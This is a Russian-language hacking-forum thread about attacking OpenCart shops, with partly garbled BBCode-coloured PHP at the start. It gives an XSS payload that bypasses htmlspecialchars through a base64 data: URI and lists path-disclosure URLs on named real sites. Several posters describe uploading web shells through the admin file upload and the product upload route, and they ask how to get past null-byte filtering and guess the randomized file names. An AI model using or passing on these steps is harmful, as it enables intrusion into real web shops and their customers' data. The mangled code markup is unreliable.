if (![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]customer[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]login[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'message'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]language[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'error_login'[/COLOR][COLOR="#007700"]);

}

if (![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]) {

return[/COLOR][COLOR="#0000BB"]TRUE[/COLOR][COLOR="#007700"];

} else {

return[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"];

}

}

[/
COLOR][/COLOR

Чтоб попасть на account/login.php надо установить переменную ?route=account/login

Еще надо иметь на целевом ресурсе созданный акаунт чтоб пройти авторизацию, после которой редирект, в который пихаетцо жаба!

Интересный момент что пытались защитить функцией которая упоминалась в посте выше - htmlspecialchars, но она не все сущности преобразовывает, тоесть можно обойти: data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGFja2VkIScpPC9zY3 JpcHQ+



Експлоит:


Код HTML:

HTML:

 гуд

 плохо

Как жизнь?

зы

?route=account/login - только гет!

Раскрытие путей

http://www.hellomydream.com/admin/controller/common/header.php

http://garmata.net/admin/controller/payment/alertpay.php

http://localhost/opencart_1.4.8b_rus_0.1/admin/controller/localisation/length_class.php

http://localhost/opencart_1.4.8b_rus_0.1/admin/model/localisation/geo_zone.php

http://localhost/opencart_1.4.8b_rus_0.1/admin/model/sale/customer_group.php

и другие.

DarkMaster 22.12.2011 21:15

Кто-что посоветует относительно заливки шелла, уже непосредственно из админки? Версия 1.0.1 пишет.

GoodGoogle 11.05.2013 19:47

Цитата:

Сообщение от DarkMaster
DarkMaster said:
Кто-что посоветует относительно заливки шелла, уже непосредственно из админки? Версия 1.0.1 пишет.

В админке заходишь в графу - > Файлы для загрузки.

После чего перейменовываешь шел в shell.php.txt и заливаешь.

Получаешь ссылку на файл, заходишь по ней, ссылка вида: http://site.ru/download/shell.php.txt появляется окно ввода пароля. Вот и все.

TRX.new 31.07.2013 00:02

need help!

Всем привет! Дело имею с opencart 1.5.3.1 и 1.5.2.1 . Проблема вот в чем: успешно работает заливка файла через route=product/product/upload, получаю шифрованный ответ в json, ключ я узнал и соответственно имя файла, которое получилось на сервере тоже. Попробовал залить shell на 1.5.3.1 - все ок, работает. Заливаю также на 1.5.2.1 - болт. Версия php на обоих серваках X-Powered-By PHP/5.2.17. Покажу пример имен файлов в обоих случаях:

Код:

Code:
Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо

Код:

Code:
Неудачная заливка: test.php&#;.jpg.8604d5110d3e81f88cee94d06acab263

Как видно проблема в нуль-байте, скорее всего magic quotes. Прошу совета! Как это обойти и все-таки выполнить shell , очень нужно.

aivi 04.10.2013 14:00

Код:

Code:
Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо

Привет, а не подскажешь как имя узнал?

попугай 18.12.2013 11:20

htaccess в корне, заворачивающий все на index.php рубит все попытки залить шелл из админки?

ICQ Hool 20.12.2013 12:49

Цитата:

Сообщение от aivi
aivi said:
Код:

Code:
Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо

Привет, а не подскажешь как имя узнал?

я так понял что приписка в конце файла это md5(rand())

брутить надо походу (

кто подскажет?

SMAC 29.12.2013 03:41

Цитата:

Сообщение от ICQ Hool
ICQ Hool said:
я так понял что приписка в конце файла это md5(rand())
брутить надо походу (
кто подскажет?

каталог-загрузки. Загружаешь там и имя файла в открытом виде получаешь

LETIFERUM 30.04.2016 13:18

Кто нибудь подскажет как расшифровать?не имея доступа в админку


Время: 00:19